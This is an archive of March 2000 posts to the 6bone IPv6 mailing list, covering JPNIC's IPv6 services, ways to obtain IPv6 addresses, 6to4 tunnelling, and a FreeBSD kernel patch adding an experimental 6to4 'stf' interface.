<mailto:admin@kingston-internet.net> 
	
****************************************************************************
	 ****************************************************************
	

From 6bone-owner  Mon Mar  6 06:40:16 2000
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Date: Mon, 06 Mar 2000 23:38:40 +0900 (JST)
Message-Id: <20000306.233840.104029480.kazu@iijlab.net>
To: ipng@sunroof.eng.sun.com, 6bone@ISI.EDU, users@ipv6.org
Cc: ip-v6@nic.ad.jp
Subject: JPNIC
From: Kazu Yamamoto (=?iso-2022-jp?B?GyRCOzNLXE9CSScbKEI=?=)
 <kazu@iijlab.net>
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JPNIC, NIR in Japan, has just started new services for IPv6 from March
1, 2000.

	- JPNIC now can register AAAA *glue* records for an NS record
		e.g. for iij.ad.jp's NS record
		note: transport is now still IPv4 only

	- Whois DB is now IPv6 contents-ready
		note: transport is now still IPv4 only

The next step is make both services be IPv6 transport-ready.

--Kazu with a JPNIC hat

From 6bone-owner  Mon Mar  6 09:01:49 2000
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Date: Mon, 6 Mar 2000 09:00:44 -0800 (PST)
From: "Eugene M. Kim" <ab@astralblue.com>
To: Bill Fenner <fenner@research.att.com>
cc: jose@we.lc.ehu.es, FreeBSD-current Mailing List <current@FreeBSD.ORG>,
        6bone@ISI.EDU
Subject: Re: IPv6: can a link-site (or global) address be configured in
 rc.conf?
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(Cc'ed to the 6BONE mailing list in the hope that someone there could
answer my question as well)

Speaking of the address allocation, is there a way for an individual to
get a non-local address space (so that all of my machines can get an
unique IPv6 address)?  I've read through the 6BONE website, and it seems
to me that I somehow have to `qualify' in order to get one.  (And the
fact that I just need <10 addresses makes me feel guilty; AFAIK the
minimum allocation unit is 2^64-address block :-p.)

Thank you in advance,
Eugene

On Mon, 6 Mar 2000, Bill Fenner wrote:

| Bruce is right that machines expect to learn their prefixes from their
| local router; however if you're just playing around you might want to
| set it yourself.  The easiest way I've found to do this is to say that
| this machine is a router:
| 
| # sysctl -w net.inet6.ip6.forwarding=1
| net.inet6.ip6.forwarding: 0 -> 1
| 
| and then run "prefix" to set a site-local prefix:
| 
| # prefix dc0 fec0:0:0:1::
| # ifconfig dc0
| dc0: flags=8843<UP,BROADCAST,RUNNING,SIMPLEX,MULTICAST> mtu 1500
|         inet6 fe80::2a0:ccff:fe36:7410%dc0 prefixlen 64  scopeid 0x1
|         inet6 fec0::1:2a0:ccff:fe36:7410 prefixlen 64 
| 
| Of course, if you have global address space too you can assign that prefix
| too.
| 
|   Bill

-- 
Eugene M. Kim <ab@astralblue.com>

"Is your music unpopular?  Make it popular; make music
which people like, or make people who like your music."


From 6bone-owner  Mon Mar  6 09:22:57 2000
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Date: Mon, 06 Mar 2000 09:22:45 -0800
To: "Eugene M. Kim" <ab@astralblue.com>, Bill Fenner <fenner@research.att.com>
From: Bob Fink <fink@es.net>
Subject: Re: IPv6: can a link-site (or global) address be configured in
  rc.conf?
Cc: jose@we.lc.ehu.es, FreeBSD-current Mailing List <current@FreeBSD.ORG>,
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Eugene,

At 09:00 AM 3/6/2000 -0800, Eugene M. Kim wrote:
>(Cc'ed to the 6BONE mailing list in the hope that someone there could
>answer my question as well)
>
>Speaking of the address allocation, is there a way for an individual to
>get a non-local address space (so that all of my machines can get an
>unique IPv6 address)?  I've read through the 6BONE website, and it seems
>to me that I somehow have to `qualify' in order to get one.  (And the
>fact that I just need <10 addresses makes me feel guilty; AFAIK the
>minimum allocation unit is 2^64-address block :-p.)

IPv6 "sites" own the right-most 80 bits of the 128 bits for local use (you 
know that, just restating for the wide list you have emailed to).

The external routing prefixes are the left-most 48 bits of the 128 and come 
from your IPv6 service provider... normally. These are currently either in 
the 3FFE::/16 or 2001::/16 TLA space.

The exception is for "6to4" prefixes which are in the 2002::/16 TLA space. 
See the I-D:

<http://www.ietf.org/internet-drafts/draft-ietf-ngtrans-6to4-03.txt>

Please read, then ask any questions you may have. 6to4 is currently 
supported, and there are relay routers up and running.


Thanks,

Bob


From 6bone-owner  Mon Mar  6 11:38:13 2000
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From: Richard Draves <richdr@microsoft.com>
To: "'Bob Fink'" <fink@es.net>, "Eugene M. Kim" <ab@astralblue.com>,
        Bill Fenner <fenner@research.att.com>
Cc: jose@we.lc.ehu.es, FreeBSD-current Mailing List <current@FreeBSD.ORG>,
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Subject: RE: IPv6: can a link-site (or global) address be configured in rc
	.conf?
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> The exception is for "6to4" prefixes which are in the 
> 2002::/16 TLA space. 
> See the I-D:
> 
> <http://www.ietf.org/internet-drafts/draft-ietf-ngtrans-6to4-03.txt>
> 
> Please read, then ask any questions you may have. 6to4 is currently 
> supported, and there are relay routers up and running.

To summarize, with 6to4 all you need is one global/static IPv4 address and
you get a /48 IPv6 prefix for yourself.

Rich

From 6bone-owner  Mon Mar  6 13:24:38 2000
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Date: Mon, 6 Mar 2000 21:24:05 +0000 (WET)
From: Rute Sofia <rsofia@rccn.net>
To: 6bone@ISI.EDU
Subject: RE: IPv6: can a link-site (or global) address be configured in rc
 .conf
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> The exception is for "6to4" prefixes which are in the 
> 2002::/16 TLA space. 
> See the I-D:
> 
> <http://www.ietf.org/internet-drafts/draft-ietf-ngtrans-6to4-03.txt>
> 
> Please read, then ask any questions you may have. 6to4 is currently 
> supported, and there are relay routers up and running.

To summarize, with 6to4 all you need is one global/static IPv4 address and
you get a /48 IPv6 prefix for yourself.

Rich

Can you point out some implementation that supports the 6to4 mechanism,
please?

	Thank you,
		Rute Sofia

---------------------------------------------------
Helena Rute Esteves Carvalho Sofia
e-mail: rsofia@rccn.net
"After silence, that which comes nearest to expressing 
the inexpressible is Music." - Aldous Huxley

---------------------------------------------------


From 6bone-owner  Mon Mar  6 13:34:29 2000
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Date: Mon, 06 Mar 2000 13:31:10 -0800
Subject: Re(2): IPv6: can a link-site (or global) address be configured in rc.conf?
To: ab@astralblue.com
Cc: fenner@research.att.com, jose@we.lc.ehu.es, current@freebsd.org,
        6bone@ISI.EDU
From: Nora_Parker@monterey.edu (Nora Parker)
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I am trying to get an ipv6 address.  I tried a local source but have not
heard any reply.  Can anyone help me out with an address.  I am a student
at Cal State Monterey Bay working on a capstone project.   I would
appreciate any help in this matter.

Thank You


From 6bone-owner  Mon Mar  6 13:48:02 2000
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To: Nora_Parker@monterey.edu (Nora Parker), ab@astralblue.com
From: Bob Fink <fink@es.net>
Subject: Re(2): IPv6: can a link-site (or global) address be configured
  in rc.conf?
Cc: fenner@research.att.com, jose@we.lc.ehu.es, current@freebsd.org,
        6bone@ISI.EDU
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At 01:31 PM 3/6/2000 -0800, Nora Parker wrote:
>I am trying to get an ipv6 address.  I tried a local source but have not
>heard any reply.  Can anyone help me out with an address.  I am a student
>at Cal State Monterey Bay working on a capstone project.   I would
>appreciate any help in this matter.


Try the <http://www.freenet6.net/> site.


Bob


From 6bone-owner  Mon Mar  6 14:22:34 2000
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From: Richard Draves <richdr@microsoft.com>
To: "'Rute Sofia'" <rsofia@rccn.net>
Cc: 6bone@ISI.EDU
Subject: RE: IPv6: can a link-site (or global) address be configured in rc
	 .conf
Date: Mon, 6 Mar 2000 14:21:38 -0800 
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> Can you point out some implementation that supports the 6to4 
> mechanism,
> please?

MSR IPv6 for one, you can get it from http://research.microsoft.com/msripv6.

Rich

From 6bone-owner  Mon Mar  6 17:32:19 2000
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To: dick@tar.com
Cc: fink@es.net, ab@astralblue.com, fenner@research.att.com, jose@we.lc.ehu.es,
        current@FreeBSD.ORG, 6bone@ISI.EDU
Subject: Re: IPv6: can a link-site (or global) address be configured in
 rc.conf?
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Date: Tue, 07 Mar 2000 10:26:28 +0900
From: Yoshinobu Inoue <shin@nd.net.fujitsu.co.jp>
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Hi,

Very unfortunately, 6to4 is not yet supported in FreeBSD/KAME.

So now available options will be,

 -Use freenet6 (for one hosts).
 -Get IPv6 address block and connect to 6bone using gif tunnel.


Cheers,
Yoshinobu Inoue

> > Please read, then ask any questions you may have. 6to4 is currently 
> > supported, and there are relay routers up and running.
> 
> My apologies if I sound like I need "IPv6 for Dummies".
> 
> Just to clarify.  You mean that 6to4 is currently supported in FreeBSD/KAME?
> Of course, I'm not quite sure what I mean by this.  I guess, if I configure
> a FreeBSD/KAME host as an IPv6 router, will the router automatically do the
> IPv6->IPv4 encapsulation when it encounters a destination prefix of 2002::/16
> and vice versa for incoming packets?  Or, do I need to configure a pseudo
> interface somehow (gif doesn't look quite like the right thing?). Also, will
> FreeBSD/KAME hosts (both router and non-router hosts) somehow automatically
> do the proper address selection algorithm when they encounter multiple IPv6
> addresses, or is that an application level requirement?
> 
> Also, if I have (for example) IPv4 addresses of 204.95.187/24, I assume
> I can use any of the 2002:[V4ADDR]:/48 prefixes within my allocation, but
> for external 6to4 connectivity I should probably choose the V4ADDR of the
> external interface of the 6to4 router?
> 
> And, finally, do some of the 6to4 relay routers that are "up and running" 
> serve small isolated sites?  I assume the best case is that one's ISP
> provides IPv6 connectivity in some shape or form.  But, if thats not the
> case, I assume the main options are IPv6-IPv4 tunnel to a co-operative
> IPv6 site, or 6to4 with a default route to a relay router (who I assume
> must configure a static route back?).  Or, run a more sophisticated routing
> protocol (BGP), but thats a little much for me, I think.
> 
> Of course, if everyone configures 6to4 (or at least everyone you want to reach)
> then am I correct that you don't really need 6to4 "relay" routers?  This is
> only for reaching native IPv6 sites without 6to4 addresses?
> 
> Thanks.
> 
> -- 
> Richard Seaman, Jr.           email: dick@tar.com
> 5182 N. Maple Lane            phone: 262-367-5450
> Chenequa WI 53058             fax:   262-367-5852
> 
> 
> To Unsubscribe: send mail to majordomo@FreeBSD.org
> with "unsubscribe freebsd-current" in the body of the message
> 
> 

From 6bone-owner  Fri Mar 10 03:08:43 2000
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Subject: Re: IPv6: can a link-site (or global) address be configured in
 rc.conf?
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> >Very unfortunately, 6to4 is not yet supported in FreeBSD/KAME.
> >So now available options will be,
> > -Use freenet6 (for one hosts).
> > -Get IPv6 address block and connect to 6bone using gif tunnel.
> 
> 	We hope to add 6to4 support for KAME/FreeBSD very soon (next week is a
> 	good guess).   We may need some more testing before real use,
> 	but it should work.  it is in KAME/NetBSD already, I just don't have
> 	time to make it work on othre *BSDs yet...


6to4 support seems to be very important for initial IPv6
deployment on FreeBSD4.0, so I tried small additinal patches
to make it available. And It seems to work.

Could some FreeBSD4.0 user with direct internet connectivity
please try this patches and try to ping6 to my host's 6to4
address?
The procedure is,

 (1)apply this patch and rebuild your kernel

 (2)configure 6to4 interface

     I suppose that your IPv4 address is 1.2.3.4

     -configure stf interface's outer addr, using gifconfig

       gifconfig stf0 1.2.3.4 255.255.255.255

       (The destination IPv4 addr can be anything.)

     -encode your IPv4 address to hex format per 2 byte, for
      later use

       If it is 1.2.3.4, then it will be, 0102:0304.

     -encode your IPv6 address on stf interface, for later
      configuration

       The format is, like below.

         2002: 4byte v4 addr : 2byte SLA ID : 8byte interface ID

       For simplicity, I choose 0 for SLA ID, and 1 for interface ID.
       Then, if your IPv4 addr is 1.2.3.4, then your IPv6 addr on stf is,

         2002:0102:0304::1

     -configure stf interface's IPv6 addr

        Please use ifconfig.

       ifconfig stf0 inet6 2002:0102:0304::1 prefixlen 16

 (3)try pinging to my host's 6to4 address

    My machine's 6to4 address is 2002:cbb2:8dd8::1.

    Please try,

     ping6 2002:cbb2:8dd8::1

   I hope there is reply from my machine.



And here is the patches.

Thanks,
Yoshinobu Inoue

Index: net/if_gif.c
===================================================================
RCS file: /home/ncvs/src/sys/net/if_gif.c,v
retrieving revision 1.3
diff -u -r1.3 if_gif.c
--- net/if_gif.c	2000/02/27 18:36:30	1.3
+++ net/if_gif.c	2000/03/10 10:09:25
@@ -83,7 +83,7 @@
 /*
  * gif global variable definitions
  */
-int ngif = NGIF;		/* number of interfaces */
+int ngif = NGIF + 1;		/* number of interfaces. +1 for stf. */
 struct gif_softc *gif = 0;
 
 void
@@ -95,7 +95,7 @@
 
 	gif = sc = malloc (ngif * sizeof(struct gif_softc), M_DEVBUF, M_WAIT);
 	bzero(sc, ngif * sizeof(struct gif_softc));
-	for (i = 0; i < ngif; sc++, i++) {
+	for (i = 0; i < ngif - 1; sc++, i++) {  /* leave last one for stf */
 		sc->gif_if.if_name = "gif";
 		sc->gif_if.if_unit = i;
 		sc->gif_if.if_mtu    = GIF_MTU;
@@ -107,6 +107,16 @@
 		if_attach(&sc->gif_if);
 		bpfattach(&sc->gif_if, DLT_NULL, sizeof(u_int));
 	}
+	sc->gif_if.if_name = "stf";
+	sc->gif_if.if_unit = 0;
+	sc->gif_if.if_mtu    = GIF_MTU;
+	sc->gif_if.if_flags  = IFF_MULTICAST;
+	sc->gif_if.if_ioctl  = gif_ioctl;
+	sc->gif_if.if_output = gif_output;
+	sc->gif_if.if_type   = IFT_GIF;
+	sc->gif_if.if_snd.ifq_maxlen = ifqmaxlen;
+	if_attach(&sc->gif_if);
+	bpfattach(&sc->gif_if, DLT_NULL, sizeof(u_int));
 }
 
 PSEUDO_SET(gifattach, if_gif);
@@ -322,6 +332,11 @@
 
 			/* only one gif can have dst = INADDR_ANY */
 #define	satosaddr(sa) (((struct sockaddr_in *)(sa))->sin_addr.s_addr)
+
+#ifdef INET6
+			if (bcmp(ifp->if_name, "stf", 3) == 0)
+				satosaddr(dst) = INADDR_BROADCAST;
+#endif
 
 			if (satosaddr(dst) == INADDR_ANY) {
 				int i;
Index: netinet/in_gif.c
===================================================================
RCS file: /home/ncvs/src/sys/netinet/in_gif.c,v
retrieving revision 1.3
diff -u -r1.3 in_gif.c
--- netinet/in_gif.c	1999/12/22 19:13:18	1.3
+++ netinet/in_gif.c	2000/03/10 10:09:25
@@ -84,6 +84,9 @@
 SYSCTL_INT(_net_inet_ip, IPCTL_GIF_TTL, gifttl, CTLFLAG_RW,
 	&ip_gif_ttl,	0, "");
 
+#define IN6_IS_ADDR_6TO4(x)	(ntohs((x)->s6_addr16[0]) == 0x2002)
+#define GET_V4(x)	((struct in_addr *)(&(x)->s6_addr16[1]))
+
 int
 in_gif_output(ifp, family, m, rt)
 	struct ifnet	*ifp;
@@ -98,6 +101,9 @@
 	struct ip iphdr;	/* capsule IP header, host byte ordered */
 	int proto, error;
 	u_int8_t tos;
+#ifdef INET6
+	struct ip6_hdr *ip6 = NULL;
+#endif
 
 	if (sin_src == NULL || sin_dst == NULL ||
 	    sin_src->sin_family != AF_INET ||
@@ -124,7 +130,6 @@
 #ifdef INET6
 	case AF_INET6:
 	    {
-		struct ip6_hdr *ip6;
 		proto = IPPROTO_IPV6;
 		if (m->m_len < sizeof(*ip6)) {
 			m = m_pullup(m, sizeof(*ip6));
@@ -147,6 +152,24 @@
 
 	bzero(&iphdr, sizeof(iphdr));
 	iphdr.ip_src = sin_src->sin_addr;
+#ifdef INET6
+	/* XXX: temporal stf support hack */
+	if (bcmp(ifp->if_name, "stf", 3) == 0 && ip6 != NULL) {
+		if (IN6_IS_ADDR_6TO4(&ip6->ip6_dst))
+			iphdr.ip_dst = *GET_V4(&ip6->ip6_dst);
+		else if (rt && rt->rt_gateway->sa_family == AF_INET6) {
+			struct in6_addr *dst6;
+
+			dst6 = &((struct sockaddr_in6 *)
+				 (rt->rt_gateway))->sin6_addr;
+			if (IN6_IS_ADDR_6TO4(dst6))
+				iphdr.ip_dst = *GET_V4(dst6);
+		} else {
+			m_freem(m);
+			return ENETUNREACH;
+		}
+	} else
+#endif
 	if (ifp->if_flags & IFF_LINK0) {
 		/* multi-destination mode */
 		if (sin_dst->sin_addr.s_addr != INADDR_ANY)
@@ -232,6 +255,17 @@
 
 		if ((sc->gif_if.if_flags & IFF_UP) == 0)
 			continue;
+
+#ifdef INET6
+		/* XXX: temporal stf support hack */
+		if (proto == IPPROTO_IPV6 &&
+		    bcmp(sc->gif_if.if_name, "stf", 3) == 0 &&
+		    satosin(sc->gif_psrc)->sin_addr.s_addr ==
+		    ip->ip_dst.s_addr) {
+			gifp = &sc->gif_if;
+			break;
+		}
+#endif
 
 		if ((sc->gif_if.if_flags & IFF_LINK0)
 		 && satosin(sc->gif_psrc)->sin_addr.s_addr == ip->ip_dst.s_addr
      
       



From 6bone-owner  Fri Mar 10 03:39:11 2000
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To: itojun@iijlab.net
Cc: dick@tar.com, fink@es.net, ab@astralblue.com, fenner@research.att.com,
        jose@we.lc.ehu.es, current@FreeBSD.ORG, 6bone@ISI.EDU
Subject: Re: IPv6: can a link-site (or global) address be configured in
 rc.conf?
In-Reply-To: <20000310200904T.shin@nd.net.fujitsu.co.jp>
References: <20000307102628S.shin@nd.net.fujitsu.co.jp>
	<24051.952462663@coconut.itojun.org>
	<20000310200904T.shin@nd.net.fujitsu.co.jp>
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Date: Fri, 10 Mar 2000 20:39:22 +0900
From: Yoshinobu Inoue <shin@nd.net.fujitsu.co.jp>
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> And here is the patches.

The last patches should work but I found a improvement related
to coexistence with gif, so this is the updated patches.

Thanks,
Yoshinobu Inoue

Index: net/if_gif.c
===================================================================
RCS file: /home/ncvs/src/sys/net/if_gif.c,v
retrieving revision 1.3
diff -u -r1.3 if_gif.c
--- net/if_gif.c	2000/02/27 18:36:30	1.3
+++ net/if_gif.c	2000/03/10 11:32:38
@@ -83,7 +83,7 @@
 /*
  * gif global variable definitions
  */
-int ngif = NGIF;		/* number of interfaces */
+int ngif = NGIF + 1;		/* number of interfaces. +1 for stf. */
 struct gif_softc *gif = 0;
 
 void
@@ -95,7 +95,7 @@
 
 	gif = sc = malloc (ngif * sizeof(struct gif_softc), M_DEVBUF, M_WAIT);
 	bzero(sc, ngif * sizeof(struct gif_softc));
-	for (i = 0; i < ngif; sc++, i++) {
+	for (i = 0; i < ngif - 1; sc++, i++) {  /* leave last one for stf */
 		sc->gif_if.if_name = "gif";
 		sc->gif_if.if_unit = i;
 		sc->gif_if.if_mtu    = GIF_MTU;
@@ -107,6 +107,16 @@
 		if_attach(&sc->gif_if);
 		bpfattach(&sc->gif_if, DLT_NULL, sizeof(u_int));
 	}
+	sc->gif_if.if_name = "stf";
+	sc->gif_if.if_unit = 0;
+	sc->gif_if.if_mtu    = GIF_MTU;
+	sc->gif_if.if_flags  = IFF_MULTICAST;
+	sc->gif_if.if_ioctl  = gif_ioctl;
+	sc->gif_if.if_output = gif_output;
+	sc->gif_if.if_type   = IFT_GIF;
+	sc->gif_if.if_snd.ifq_maxlen = ifqmaxlen;
+	if_attach(&sc->gif_if);
+	bpfattach(&sc->gif_if, DLT_NULL, sizeof(u_int));
 }
 
 PSEUDO_SET(gifattach, if_gif);
@@ -322,6 +332,11 @@
 
 			/* only one gif can have dst = INADDR_ANY */
 #define	satosaddr(sa) (((struct sockaddr_in *)(sa))->sin_addr.s_addr)
+
+#ifdef INET6
+			if (bcmp(ifp->if_name, "stf", 3) == 0)
+				satosaddr(dst) = INADDR_BROADCAST;
+#endif
 
 			if (satosaddr(dst) == INADDR_ANY) {
 				int i;
Index: netinet/in_gif.c
===================================================================
RCS file: /home/ncvs/src/sys/netinet/in_gif.c,v
retrieving revision 1.3
diff -u -r1.3 in_gif.c
--- netinet/in_gif.c	1999/12/22 19:13:18	1.3
+++ netinet/in_gif.c	2000/03/10 11:32:38
@@ -84,6 +84,9 @@
 SYSCTL_INT(_net_inet_ip, IPCTL_GIF_TTL, gifttl, CTLFLAG_RW,
 	&ip_gif_ttl,	0, "");
 
+#define IN6_IS_ADDR_6TO4(x)	(ntohs((x)->s6_addr16[0]) == 0x2002)
+#define GET_V4(x)	((struct in_addr *)(&(x)->s6_addr16[1]))
+
 int
 in_gif_output(ifp, family, m, rt)
 	struct ifnet	*ifp;
@@ -98,6 +101,9 @@
 	struct ip iphdr;	/* capsule IP header, host byte ordered */
 	int proto, error;
 	u_int8_t tos;
+#ifdef INET6
+	struct ip6_hdr *ip6 = NULL;
+#endif
 
 	if (sin_src == NULL || sin_dst == NULL ||
 	    sin_src->sin_family != AF_INET ||
@@ -124,7 +130,6 @@
 #ifdef INET6
 	case AF_INET6:
 	    {
-		struct ip6_hdr *ip6;
 		proto = IPPROTO_IPV6;
 		if (m->m_len < sizeof(*ip6)) {
 			m = m_pullup(m, sizeof(*ip6));
@@ -147,6 +152,24 @@
 
 	bzero(&iphdr, sizeof(iphdr));
 	iphdr.ip_src = sin_src->sin_addr;
+#ifdef INET6
+	/* XXX: temporal stf support hack */
+	if (bcmp(ifp->if_name, "stf", 3) == 0 && ip6 != NULL) {
+		if (IN6_IS_ADDR_6TO4(&ip6->ip6_dst))
+			iphdr.ip_dst = *GET_V4(&ip6->ip6_dst);
+		else if (rt && rt->rt_gateway->sa_family == AF_INET6) {
+			struct in6_addr *dst6;
+
+			dst6 = &((struct sockaddr_in6 *)
+				 (rt->rt_gateway))->sin6_addr;
+			if (IN6_IS_ADDR_6TO4(dst6))
+				iphdr.ip_dst = *GET_V4(dst6);
+		} else {
+			m_freem(m);
+			return ENETUNREACH;
+		}
+	} else
+#endif
 	if (ifp->if_flags & IFF_LINK0) {
 		/* multi-destination mode */
 		if (sin_dst->sin_addr.s_addr != INADDR_ANY)
@@ -232,6 +255,19 @@
 
 		if ((sc->gif_if.if_flags & IFF_UP) == 0)
 			continue;
+
+#ifdef INET6
+		/* XXX: temporal stf support hack */
+		if (proto == IPPROTO_IPV6 &&
+		    bcmp(sc->gif_if.if_name, "stf", 3) == 0 &&
+		    satosin(sc->gif_psrc)->sin_addr.s_addr ==
+		    ip->ip_dst.s_addr &&
+		    satosin(sc->gif_pdst)->sin_addr.s_addr ==
+		    INADDR_BROADCAST) {
+			gifp = &sc->gif_if;
+			break;
+		}
+#endif
 
 		if ((sc->gif_if.if_flags & IFF_LINK0)
 		 && satosin(sc->gif_psrc)->sin_addr.s_addr == ip->ip_dst.s_addr

From 6bone-owner  Fri Mar 10 05:47:54 2000
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Message-ID: <00c001bf8a96$29700d40$87a132d4@kingstoninternet.co.uk>
From: "Alison Gudgeon" <alison.gudgeon@kingston-internet.net>
To: <6bone@ISI.EDU>
Subject: Peering
Date: Fri, 10 Mar 2000 13:40:13 -0000
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	boundary="----=_NextPart_000_00BD_01BF8A96.29561CA0"
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------=_NextPart_000_00BD_01BF8A96.29561CA0
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	charset="iso-8859-1"
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Hi,

I'm looking for a little advice with regard to peering on 6bone.  Would =
someone be able to explain to me how the peering process and the IPv4 =
tunneling works?

Many Thanks in advance

Ali=20

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<DIV><FONT color=3D#0000ff face=3DArial size=3D2>Hi,</FONT></DIV>
<DIV>&nbsp;</DIV>
<DIV><FONT color=3D#0000ff face=3DArial size=3D2>I'm looking for a =
little advice with=20
regard to peering on 6bone.&nbsp; Would someone be able to explain to me =
how the=20
peering process and the IPv4 tunneling works?</FONT></DIV>
<DIV>&nbsp;</DIV>
<DIV><FONT color=3D#0000ff face=3DArial size=3D2>Many Thanks in =
advance</FONT></DIV>
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<DIV><FONT color=3D#0000ff face=3DArial size=3D2>Ali =
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From 6bone-owner  Fri Mar 10 15:57:11 2000
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Date: Fri, 10 Mar 2000 18:56:59 -0500 (EST)
Message-Id: <200003102356.SAA24701@anduin.eldar.org>
From: Brad Spencer <brad@anduin.eldar.org>
To: shin@nd.net.fujitsu.co.jp
CC: itojun@iijlab.net, dick@tar.com, fink@es.net, ab@astralblue.com,
        fenner@research.att.com, jose@we.lc.ehu.es, current@FreeBSD.ORG,
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In-reply-to: <20000310203922A.shin@nd.net.fujitsu.co.jp> (message from
	Yoshinobu Inoue on Fri, 10 Mar 2000 20:39:22 +0900)
Subject: Re: IPv6: can a link-site (or global) address be configured in
 rc.conf?
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   > And here is the patches.

   The last patches should work but I found a improvement related
   to coexistence with gif, so this is the updated patches.

   Thanks,
   Yoshinobu Inoue


I applied a variant of your patch to my NetBSD/i386 -currentish box that
also uses the KAME stack and was able to ping6 your 6to4 address.


Brad Spencer - brad@anduin.eldar.org   http://anduin.eldar.org
[finger brad@anduin.eldar.org for PGP public key]

From 6bone-owner  Sat Mar 11 00:06:47 2000
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To: brad@anduin.eldar.org
Cc: itojun@iijlab.net, dick@tar.com, fink@es.net, ab@astralblue.com,
        fenner@research.att.com, jose@we.lc.ehu.es, current@FreeBSD.ORG,
        6bone@ISI.EDU
Subject: Re: IPv6: can a link-site (or global) address be configured in
 rc.conf?
In-Reply-To: <200003102356.SAA24701@anduin.eldar.org>
References: <20000310203922A.shin@nd.net.fujitsu.co.jp>
	<200003102356.SAA24701@anduin.eldar.org>
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Date: Sat, 11 Mar 2000 17:03:01 +0900
From: Yoshinobu Inoue <shin@nd.net.fujitsu.co.jp>
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>    > And here is the patches.
> 
>    The last patches should work but I found a improvement related
>    to coexistence with gif, so this is the updated patches.
>
> I applied a variant of your patch to my NetBSD/i386 -currentish box that
> also uses the KAME stack and was able to ping6 your 6to4 address.

That is fine. :-)

However, my patches are temporal hack for FreeBSD4.0.

KAME code is changing tunnel interface implementations more
generally, so I think different fixes and support for 6to4
will be introduced eventually.

Cheers,
Yoshinobu Inoue

From 6bone-owner  Sat Mar 11 08:29:08 2000
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From: Brad Spencer <brad@anduin.eldar.org>
To: itojun@iijlab.net
CC: shin@nd.net.fujitsu.co.jp, dick@tar.com, fink@es.net, ab@astralblue.com,
        fenner@research.att.com, jose@we.lc.ehu.es, current@FreeBSD.ORG,
        6bone@ISI.EDU
In-reply-to: <791.952762112@lychee.itojun.org> (message from Jun-ichiro itojun
	Hagino on Sat, 11 Mar 2000 17:08:32 +0900)
Subject: Re: IPv6: can a link-site (or global) address be configured in rc.conf?
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   >I applied a variant of your patch to my NetBSD/i386 -currentish box that
   >also uses the KAME stack and was able to ping6 your 6to4 address.

	   For NetBSD-current, I'll bring in cleaner 6to4 code (since netbsd is
	   not that close to the deadline).
	   please wait for a while...

   itojun


This is what I expected.  I was just messing around some and was pleased
that it didn't panic my machine.


Brad Spencer - brad@anduin.eldar.org   http://anduin.eldar.org
[finger brad@anduin.eldar.org for PGP public key]

From 6bone-owner  Sat Mar 11 16:26:35 2000
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To: Brad Spencer <brad@anduin.eldar.org>
cc: shin@nd.net.fujitsu.co.jp, dick@tar.com, fink@es.net, ab@astralblue.com,
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Subject: Re: IPv6: can a link-site (or global) address be configured in rc.conf?
Date: Sun, 12 Mar 2000 09:26:29 +0900
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>>	   For NetBSD-current, I'll bring in cleaner 6to4 code (since netbsd is
>>	   not that close to the deadline).
>>	   please wait for a while...
>This is what I expected.  I was just messing around some and was pleased
>that it didn't panic my machine.

	Thanks.  BTW, please be sure to read this before you configure 6to4
	interface.  I recommend you to run configured tunnels.
	(I missed the i-d cutoff date...)

http://playground.iijlab.net/i-d/draft-itojun-ipv6-transition-abuse-00.txt

itojun

From 6bone-owner  Mon Mar 20 09:06:22 2000
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Date: Mon, 20 Mar 2000 17:06:15 +0000
From: Mark Thompson <mkt@ecs.soton.ac.uk>
To: mkt@ecs.soton.ac.uk
Subject: Windows 2000 Technology Preview
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Apologies for the list spam, but for those of you who (like me) can't
see the link anywhere obvious:

MSDN has been updated with the Technology Preview release of their IPv6
stack for Windows 2000.

http://msdn.microsoft.com/downloads/sdks/platform/tpipv6.asp

Much kudos to Rich Draves, Brian Zill and the crew at MSR for their
excellent [nearly-]product!


Mark/

-- 
iam: networks and distributed systems
http://www.ecs.soton.ac.uk/~mkt/contact.shtml for contact info...

From 6bone-owner  Mon Mar 20 16:48:20 2000
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To: 6bone@ISI.EDU, "6Bone(WIDE)" <6bone-jp@wide.ad.jp>,
        Abilene NOC 
	<noc@abilene.iu.edu>,
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How are you?
If you know the business using IPv6,
please telll me.

Thanks,
ksb

--
  Kim, Sahng-Beom / Korea Telecom
  TEL :    +82-42-870-8322
  FAX :    +82-42-870-8329
  E-mail :  ksbn@kt.co.kr
--




From 6bone-owner  Wed Mar 22 21:24:23 2000
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To: ngtrans@sunroof.Eng.Sun.COM, 6bone@ISI.EDU
Subject: SOCKS64: An implementation of SOCKS based IPv6/IPv4 Gateway Mechanism
From: KOBAYASHI Shinji <koba@flab.fujitsu.co.jp>
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We released the new version of our implementation of the SOCKS based
IPv6/IPv4 Gateway Mechanism. The URL is:

ftp://ftp.kame.net/pub/kame/misc/socks64-v10r10-20000322.tgz

Main changes from socks64-v10r8-19990118.tgz are:

1. Based on the latest SOCKS5 package socks5-v1.0r10.
2. Support for Linux (kernel-2.2.x, GNU libc 2.1) is added.
3. New option -r (--reverse) is added.

With -r option, socks64 server tries to get the FQDN of the target by
reverse querying DNS if the client specifies its target in IPv4
address. Using this option, we can provide (limited) supports to SOCKS
version 4 (not 5) clients such as Netscape Communicator without
SocksCap or runsocks. Please refer to README.socks64 for detail.

We would appreciate your problem reports, comments, and
suggestions. Please send e-mails to:

mailto:socks64@pds-flab.rwcp.or.jp

Kobayashi Shinji
koba@flab.fujitsu.co.jp

From 6bone-owner  Thu Mar 23 17:28:22 2000
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To: mmckinlay@labs.interopen.org, ngtrans@sunroof.Eng.Sun.COM, 6bone@ISI.EDU
Subject: Re: SOCKS64: An implementation of SOCKS based IPv6/IPv4 Gateway
 Mechanism
From: KOBAYASHI Shinji <koba@flab.fujitsu.co.jp>
In-Reply-To: Your message of "Thu, 23 Mar 2000 10:31:15 +0000 (GMT)"
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>>>>> "Mo" == Mo McKinlay <mmckinlay@labs.interopen.org> writes:

Mo> Is there a WWW URL for this? I'd be quite interested in reading about it
Mo> before embarking on a hefty download :-)

Sorry, currently no english page is available. Client setup
information in Japanese is available at:

http://www.pds-flab.rwcp.or.jp/SOCKS64/

socks64-v10r10-20000322.tgz is only 34KB, so please try to download it. :-)

Kobayashi Shinji
koba@flab.fujitsu.co.jp

From 6bone-owner  Thu Mar 23 21:23:10 2000
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To: mmckinlay@labs.interopen.org, ngtrans@sunroof.Eng.Sun.COM, 6bone@ISI.EDU
CC: koba@flab.fujitsu.co.jp
From: zinzin@flab.fujitsu.co.jp (Jinzaki Akira)
CC: zinzin@flab.fujitsu.co.jp
Subject: Re: SOCKS64: An implementation of SOCKS based IPv6/IPv4 Gateway Mechanism 
In-reply-to: koba@flab.fujitsu.co.jp's message of 
